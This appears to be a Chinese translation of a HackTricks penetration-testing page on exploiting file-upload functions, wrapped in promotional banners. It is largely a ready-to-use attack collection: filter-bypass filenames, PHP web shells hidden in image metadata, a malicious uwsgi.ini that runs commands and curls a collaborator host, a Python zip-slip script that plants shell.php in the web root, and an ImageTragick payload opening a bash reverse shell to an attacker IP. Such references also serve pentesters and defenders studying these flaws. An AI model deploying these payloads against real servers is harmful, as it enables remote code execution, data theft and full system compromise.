.. | ||
pdf-upload-xxe-and-cors-bypass.md | ||
README.md |
文件上传
☁️ HackTricks 云 ☁️ -🐦 推特 🐦 - 🎙️ Twitch 🎙️ - 🎥 YouTube 🎥
- 你在一家 网络安全公司 工作吗?想要在 HackTricks 中 宣传你的公司?或者想要获得 PEASS 的最新版本或下载 HackTricks 的 PDF 版本?请查看 订阅计划!
- 发现我们的独家 NFTs 集合:The PEASS Family
- 获取 官方 PEASS & HackTricks 商品
- 加入 💬 Discord 群组 或 Telegram 群组,或者在 Twitter 上 关注 我 🐦@carlospolopm。
- 通过向 hacktricks 仓库 和 hacktricks-cloud 仓库 提交 PR 来分享你的黑客技巧。
赏金漏洞提示:注册 Intigriti,一个由黑客创建的高级 赏金漏洞平台!立即加入我们:https://go.intigriti.com/hacktricks,开始赚取高达 $100,000 的赏金!
{% embed url="https://go.intigriti.com/hacktricks" %}
文件上传通用方法
其他有用的扩展名:
- PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module
- 在 PHPv8 中工作: .php, .php4, .php5, .phtml, .module, .inc, .hphp, .ctp
- ASP: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml
- Jsp: .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action
- Coldfusion: .cfm, .cfml, .cfc, .dbm
- Flash: .swf
- Perl: .pl, .cgi
- Erlang Yaws Web Server: .yaws
绕过文件扩展名检查
- 如果适用,检查之前的扩展名。也尝试使用一些大写字母进行测试:pHp, .pHP5, .PhAr ...
- 尝试在执行扩展名之前添加一个有效的扩展名(也使用之前的扩展名):
- file.png.php
- file.png.Php5
- 尝试在末尾添加特殊字符。可以使用 Burp 来暴力破解所有ASCII和Unicode字符。(注意,你也可以尝试使用之前提到的扩展名)
- file.php%20
- file.php%0a
- file.php%00
- file.php%0d%0a
- file.php/
- file.php.\
- file.
- file.php....
- file.pHp5....
- 尝试使用技巧来绕过服务器端的扩展名解析器,比如重复扩展名或在扩展名之间添加垃圾数据(空字节)。你也可以使用之前的扩展名来准备更好的有效负载。
- file.png.php
- file.png.pHp5
- file.php#.png
- file.php%00.png
- file.php\x00.png
- file.php%0a.png
- file.php%0d%0a.png
- file.phpJunk123png
- 在之前的检查中添加另一层扩展名:
- file.png.jpg.php
- file.php%00.png%00.jpg
- 尝试将执行扩展名放在有效扩展名之前,并祈祷服务器配置错误。(用于利用 Apache 配置错误,其中以**.php**结尾的任何文件都会执行代码,但不一定以 .php 结尾):
- 例如:file.php.png
- 在 Windows 中使用 NTFS 备用数据流 (ADS)。在这种情况下,会在禁止的扩展名之后和允许的扩展名之前插入一个冒号字符 ":"。结果是,在服务器上创建一个带有禁止的扩展名的空文件(例如 "file.asax:.jpg")。稍后可以使用其他技术(如使用其短文件名)对该文件进行编辑。还可以使用 "::$data" 模式创建非空文件。因此,在此模式之后添加一个点字符也可能有助于绕过进一步的限制(例如 "file.asp::$data.")。
- 尝试突破文件名限制。有效扩展名被截断,恶意 PHP 代码被保留。AAA<--SNIP-->AAA.php
# Linux 最大 255 字节
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # 减去 4 并添加 .png
# 上传文件并检查响应,看允许多少个字符。假设为 236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# 生成有效载荷
AAA<--SNIP 232 A-->AAA.php.png
绕过 Content-Type、Magic Number、压缩和调整大小
- 通过将 Content-Type 头的值设置为 image/png、text/plain 或 application/octet-stream 来绕过 Content-Type 检查。
- Content-Type 字典:https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt
- 通过在文件开头添加真实图像的字节(混淆 file 命令)或在元数据中引入 shell 来绕过魔术数字检查:
exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg
或者你也可以直接在图像中引入有效载荷:
echo '<?php system($_REQUEST['cmd']); ?>' >> img.png
- 如果正在向图像添加压缩,例如使用一些标准的 PHP 库(如 PHP-GD),则前面的技术将无效。然而,你可以使用 PLTE 块 在此处定义的技术 插入一些文本,以便在压缩后仍然存在。
- 包含代码的 Github
- 网页还可以使用 PHP-GD 函数
imagecopyresized
或imagecopyresampled
调整图像大小。然而,你可以使用 IDAT 块 在此处定义的技术 插入一些文本,以便在压缩后仍然存在。 - 包含代码的 Github
- 另一种在调整图像大小时生成有效载荷的技术是使用 PHP-GD 函数
thumbnailImage
。然而,你可以使用 tEXt 块 在此处定义的技术 插入一些文本,以便在压缩后仍然存在。 - 包含代码的 Github
其他检查技巧
- 查找重命名已上传文件的漏洞(更改扩展名)。
- 查找本地文件包含漏洞以执行后门。
- 可能的信息泄露:
- 多次(并且同时)上传相同的文件,相同的名称
- 上传一个已存在的文件或文件夹的名称
- 上传一个文件,其名称为**“.”、“..”或“…”**。例如,在 Windows 的 Apache 中,如果应用程序将上传的文件保存在“/www/uploads/”目录中,“.”文件名将在“/www/”目录中创建一个名为“uploads”的文件。
- 在 NTFS 中上传一个不易删除的文件,例如**“…:.jpg”**(Windows)。
- 在 Windows 中上传一个带有无效字符(如
|<>*?”
)的文件名(Windows)。 - 在 Windows 中上传一个使用保留(禁止)名称(如 CON、PRN、AUX、NUL、COM1、COM2、COM3、COM4、COM5、COM6、COM7、COM8、COM9、LPT1、LPT2、LPT3、LPT4、LPT5、LPT6、LPT7、LPT8 和 LPT9)的文件。
特殊扩展名技巧
如果你正在尝试将文件上传到 PHP 服务器,请查看通过 .htaccess 技巧执行代码。
如果你正在尝试将文件上传到 ASP 服务器,请查看通过 .config 技巧执行代码。
.phar
文件类似于 Java 的 .jar
文件,但用于 PHP,并且可以像执行 PHP 文件一样使用它(使用 PHP 执行它,或在脚本中包含它...)。
.inc
扩展名有时用于仅用于导入文件的 PHP 文件,因此在某些情况下,某人可能已允许执行此扩展名。
Jetty RCE
如果你可以将 XML 文件上传到 Jetty 服务器,你可以获得 RCE,因为 新的 *.xml 和 *.war 文件会自动处理。 因此,如下图所示,将 XML 文件上传到 $JETTY_BASE/webapps/
并等待 shell!
uWSGI RCE
如果你可以替换 uWSGI 服务器的 .ini 配置文件,你可以获得 RCE。 实际上,uWSGI 配置文件可以包含使用精确语法定义的“魔术”变量、占位符和运算符。特别是 '@' 运算符以 @(filename) 的形式用于包含文件的内容。支持许多 uWSGI 方案,包括“exec” - 用于从进程的标准输出中读取。当解析 .ini 配置文件时,这些运算符可以被用于远程命令执行或任意文件写入/读取:
恶意 uwsgi.ini
文件示例:
[uwsgi]
; read from a symbol
foo = @(sym://uwsgi_funny_function)
; read from binary appended data
bar = @(data://[REDACTED])
; read from http
test = @(http://[REDACTED])
; read from a file descriptor
content = @(fd://[REDACTED])
; read from a process stdout
body = @(exec://whoami)
; curl to exfil via collaborator
extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)
当解析配置文件时,将执行负载。请注意,要解析配置文件,需要重新启动进程(崩溃?拒绝服务攻击?)或自动重新加载文件(如果发现更改,则可以使用选项指示重新加载文件的秒数)。
重要提示:uWSGI对配置文件的解析是宽松的。先前的负载可以嵌入在二进制文件(例如图像、PDF等)中。
wget文件上传/SSRF技巧
在某些情况下,您可能会发现服务器正在使用wget
来下载文件,并且您可以指定URL。在这些情况下,代码可能会检查下载文件的扩展名是否在白名单中,以确保只有允许下载的文件。然而,这个检查可以被绕过。
在Linux中,文件名的最大长度为255个字符,然而,wget将文件名截断为236个字符。您可以下载一个名为"A"*232+".php"+".gif"的文件,这个文件名将绕过检查(在这个例子中,".gif"是一个有效的扩展名),但是wget
将把文件重命名为"A"*232+".php"。
#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
python3 -m http.server 9080
#Download the file
wget 127.0.0.1:9080/$(python -c 'print("A"*(236-4)+".php"+".gif")')
The name is too long, 240 chars total.
Trying to shorten...
New name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.
--2020-06-13 03:14:06-- http://127.0.0.1:9080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif
Connecting to 127.0.0.1:9080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10 [image/gif]
Saving to: ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’
AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[===============================================>] 10 --.-KB/s in 0s
2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
请注意,您可能正在考虑的另一种选择是绕过此检查,使HTTP服务器重定向到其他文件,因此初始URL将绕过检查,然后wget将使用新名称下载重定向的文件。这不起作用,除非使用参数--trust-server-names
来使用wget,因为wget将使用原始URL中指定的文件名下载重定向的页面。
其他资源
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files
- https://github.com/modzero/mod0BurpUploadScanner
- https://github.com/almandin/fuxploider
- https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html
工具
- Upload Bypass是一个强大的工具,旨在帮助渗透测试人员和漏洞猎人测试文件上传机制。它利用各种漏洞赏金技术简化了识别和利用漏洞的过程,确保对Web应用程序进行全面评估。
从文件上传到其他漏洞
- 将文件名设置为
../../../tmp/lol.png
,尝试实现路径遍历 - 将文件名设置为
sleep(10)-- -.jpg
,可能能够实现SQL注入 - 将文件名设置为
<svg onload=alert(document.domain)>
,实现XSS - 将文件名设置为
; sleep 10;
,测试一些命令注入(更多命令注入技巧请参见此处) - 图像(svg)文件上传中的XSS
- JS文件上传 + XSS = Service Workers利用
- svg上传中的XXE
- 通过上传svg文件实现开放重定向
- 从https://github.com/allanlw/svg-cheatsheet尝试不同的svg有效载荷
- 著名的ImageTrick漏洞
- 如果您可以指示Web服务器从URL中获取图像,则可以尝试滥用SSRF。如果此图像将被保存在某个公共站点中,您还可以指示URL来自https://iplogger.org/invisible/,并窃取每个访问者的信息。
- 使用PDF-Adobe上传绕过XXE和CORS
- 特制的PDF文件用于XSS:以下页面介绍了如何注入PDF数据以执行JS。如果您可以上传PDF文件,可以根据给定的指示准备一些将执行任意JS的PDF文件。
- 上传[eicar](https://secure.eicar.org/eicar.com.txt)内容,以检查服务器是否有任何防病毒软件
- 检查是否有任何上传文件的大小限制
以下是您可以通过上传实现的前10项事项(来自链接):
- ASP / ASPX / PHP5 / PHP / PHP3:Webshell / RCE
- SVG:存储的XSS / SSRF / XXE
- GIF:存储的XSS / SSRF
- CSV:CSV注入
- XML:XXE
- AVI:LFI / SSRF
- HTML / JS:HTML注入 / XSS / 开放重定向
- PNG / JPEG:像素洪水攻击(DoS)
- ZIP:通过LFI实现RCE / DoS
- PDF / PPTX:SSRF / BLIND XXE
Burp扩展
{% embed url="https://github.com/portswigger/upload-scanner" %}
魔术头字节
- PNG:
"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["
- JPG:
"\xff\xd8\xff"
有关其他文件类型,请参考https://en.wikipedia.org/wiki/List_of_file_signatures。
自动解压缩的Zip/Tar文件上传
如果您可以上传将在服务器内部解压缩的ZIP文件,您可以执行以下两个操作:
符号链接
上传包含指向其他文件的符号链接的链接,然后访问解压缩的文件,您将访问链接的文件:
ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
tar -cvf test.tar symindex.txt
在不同的文件夹中解压缩
解压缩的文件将会被创建在意料之外的文件夹中。
有人可能会认为这种设置可以防止通过恶意文件上传进行操作系统级别的命令执行,但不幸的是,这是不正确的。由于ZIP存档格式支持分层压缩,并且我们还可以引用更高级别的目录,因此我们可以通过滥用目标应用程序的解压缩功能来逃离安全上传目录。
可以在这里找到一个自动化利用程序来创建这种类型的文件:https://github.com/ptoomey3/evilarc
python2 evilarc.py -h
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
您还可以使用symlink trick with evilarc,如果标志位于/flag.txt
中,请确保创建一个指向该文件的符号链接并在您的系统中创建该文件,这样当您调用evilarc时就不会出错。
一些创建恶意zip文件的Python代码:
#!/usr/bin/python
import zipfile
from io import BytesIO
def create_zip():
f = BytesIO()
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
z.writestr('../../../../../var/www/html/webserver/shell.php', '<?php echo system($_REQUEST["cmd"]); ?>')
z.writestr('otherfile.xml', 'Content of the file')
z.close()
zip = open('poc.zip','wb')
zip.write(f.getvalue())
zip.close()
create_zip()
为了实现远程命令执行,我采取了以下步骤:
- 创建一个PHP shell:
<?php
if(isset($_REQUEST['cmd'])){
$cmd = ($_REQUEST['cmd']);
system($cmd);
}?>
- 使用“文件喷洒”技术创建一个压缩的zip文件:
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# ls *.php
simple-backdoor.php xxAxxAxxAcmd.php xxAxxAxxAxxAxxAxxAcmd.php xxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php
xxAcmd.php xxAxxAxxAxxAcmd.php xxAxxAxxAxxAxxAxxAxxAcmd.php xxAxxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php
xxAxxAcmd.php xxAxxAxxAxxAxxAcmd.php xxAxxAxxAxxAxxAxxAxxAxxAcmd.php
root@s2crew:/tmp# zip cmd.zip xx*.php
adding: xxAcmd.php (deflated 40%)
adding: xxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
root@s2crew:/tmp#
- 使用十六进制编辑器或vi,将“xxA”更改为“../”,我使用了vi:
:set modifiable
:%s/xxA/..\//g
:x!
只剩下一步了:上传ZIP文件并让应用程序解压缩它!如果成功并且Web服务器具有足够的权限来写入目录,系统上将会有一个简单的操作系统命令执行shell:
参考: https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/
ImageTragic
将此内容以图像扩展名上传以利用此漏洞 (ImageMagick, 7.0.1-1)
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context
将PHP Shell嵌入PNG图像
将Web Shell放在IDAT块中的主要原因是它可以绕过调整大小和重新采样操作 - PHP-GD包含两个函数来实现这一点imagecopyresized和imagecopyresampled。
阅读此文章:https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
多语言文件
在安全环境中,多语言文件是指可以作为多种不同文件类型的有效形式的文件。例如,GIFAR既是GIF文件又是RAR文件。还有一些文件可以同时是GIF和JS,PPT和JS等。
多语言文件通常用于绕过基于文件类型的保护。许多允许用户上传文件的应用程序只允许上传某些类型的文件,例如JPEG、GIF、DOC,以防止用户上传可能危险的文件,如JS文件、PHP文件或Phar文件。
这有助于上传符合多种不同格式的文件。它可以允许您上传一个同时看起来像JPEG和PHAR文件(PHp ARchive)的文件,但可能仍然需要一个有效的扩展名,如果上传函数不允许它,这将对您没有帮助。
更多信息请参见:https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a
Bug赏金提示:注册Intigriti,一个由黑客创建的高级Bug赏金平台!立即加入我们:https://go.intigriti.com/hacktricks,开始赚取高达**$100,000**的赏金!
{% embed url="https://go.intigriti.com/hacktricks" %}
☁️ HackTricks云 ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- 您在网络安全公司工作吗?您想在HackTricks中看到您的公司广告吗?或者您想获得最新版本的PEASS或下载PDF格式的HackTricks吗?请查看订阅计划!
- 发现我们的独家NFT收藏品The PEASS Family
- 获取官方PEASS和HackTricks衣物
- 加入💬 Discord群组或电报群组,或在Twitter上关注我🐦@carlospolopm。
- 通过向hacktricks repo 和hacktricks-cloud repo 提交PR来分享您的黑客技巧。